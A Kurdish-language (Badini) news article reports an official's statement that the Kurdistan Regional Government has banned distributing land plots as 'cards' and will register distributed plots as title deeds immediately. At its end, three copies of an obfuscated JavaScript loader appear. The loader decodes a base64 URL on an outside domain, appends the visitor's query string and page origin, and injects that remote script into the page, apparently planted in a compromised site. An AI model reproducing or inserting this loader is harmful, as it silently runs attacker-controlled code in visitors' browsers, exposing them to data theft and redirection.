ئەو ئەردێن دهێنە بەلاڤكرن ئێكسەر دێ هێنە تاپۆكرن
هەولێر، قائید میرۆ
رێڤەبەرێ گشتیێ تۆماركرنا خانی و بەران ل هەرێما كوردستانێ ئاشكراكر، حوكمەتا هەرێما كوردستانێ بەلاڤكرنا پارچێن ئەردی ب شێوەیێ كارت قەدەغەكریە، چونكە بەلاڤكرنا كارتان ل سەر وەلاتیان كارەكێ قانوونی نینە و بڕیارە ئەو پارچێن ئەردی یێن دهێنە بەلاڤكرن ل سەر فەرمانبەران ئێكسەر پشتی ژێكڤەكرنێ بهێنە تاپۆكرن.
د. لوقمان عەر، رێڤەبەرێ گشتیێ تۆماركرنا خانی و بەران ل هەرێما كوردستانێ بۆ رۆژناما ئەڤرۆ دیار كر «ژلایێ سەرۆكایەتیا جڤاتا وەزیرێن هەرێما كوردستانێ لیژنەیەكا هەڤپشك بۆ تاپۆكرنا ئەردێن كارت پێك ئینایە و وەزیرێ باژێڕڤانیێ ب خۆ سەرپەرشتیا ڤێ پرۆسێ دكەت، ب تنێ ل سەر دەمێ كابینا نەهێ نێزیكی 70 هزار ئەردێن كارت بووینە سەنەد.
زێدەتر گۆت: مخابن هندەك جاران وەلاتی وەك پێدڤی د هاریكار نینن بۆ تاپۆكرنا ئەردێن وان، چونكە حوكمەتێ دێ پێنگاڤێن باش هاڤێژیت بۆ ڤێ چەندێ، ئەو ئەردێن هەتا نوكە كارت و نەبووینە سەنەد بهێنە تاپۆكرن حوكمەتێ چەندین پارچێن ئەردی كرینە سەنەد و وەلاتی ناهێن سەرەدانا جهێن پەیوەندیدار بكەن بۆ ڤێ چەندێ ئەردێن خۆ بكەنە تاپۆ ل سەر ناڤێ خۆ، ئەردێن كارت زێدەتر ل سنورێ هەولێرێ هەنە ل سنورێ پارێزگەهێن دی ژی هەنە ب رێژەیەكا كێمتر، ئەز باوەرم رێژەیەكا زۆرا كارتا بووینە سەنەد و ب تنێ رێژەیەكا كێم ماینە ئەو ژی بهێنە تاپۆكرن، پلان ژی هەیە بۆ چارەسەركرنا ئاریشەیا ئەردێن كارت، چونكە هندەك پارچێن ئەردێ كارت ئاریشەیێن قانوونی هەیە.
دكتۆر لوقمان عومەر گۆت ژی «هەر ل دەستپێكا دەست ب كار بوونا كابینا نەهێ یا حوكمەتا هەرێما كوردستانێ بڕیار دایە بەلاڤكرنا پارچێن ئەردی ب شێوەیێ كارت بهێتە قەدەغەكرن، چونكە بەلاڤكرنا پارچێن ئەردی ب شێوەیێ كارت تشتەكێ قانوونی نینە و ئاریشە پەیدادبن، هەر ئەردەكێ دهێتە بەلاڤكرن ئێكسەر دێ بیتە تاپۆ لسەر وەلاتیان، لەوڕا ژی رێك ناهێتەدان ئەردێن كارت بهێنە بەلاڤكرن، بەرۆڤاژی ئەو پارچێن ئەردی یێن دهێنە بەلاڤكرن پشتی پارچەكرنێ ژلایێ باژێڕڤانیێ ئێكسەر دێ بهێنە تاپۆكرن.
خویاژی كر، ئەو ئەردێن بڕیارە ژلایێ حوكمەتا هەرێما كوردستانێ ل سەر فەرمانبەران بهێنە بەلاڤكرن ئێكسەر دێ هێنە تاپۆكرن ل سەر وەلاتیان، ل سەر دەمێ كابینەیێن بووری زێدەتری 140 هزار پارچێن ئەردی یێن كارت ل سەر وەلاتیان هاتینە تاپۆكرن و پرۆسا چارەسەركرنا ئاریشەیا وان ئەردێن كارت دێ بەردەوامبیت هەتا ب دووماهی دهێن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
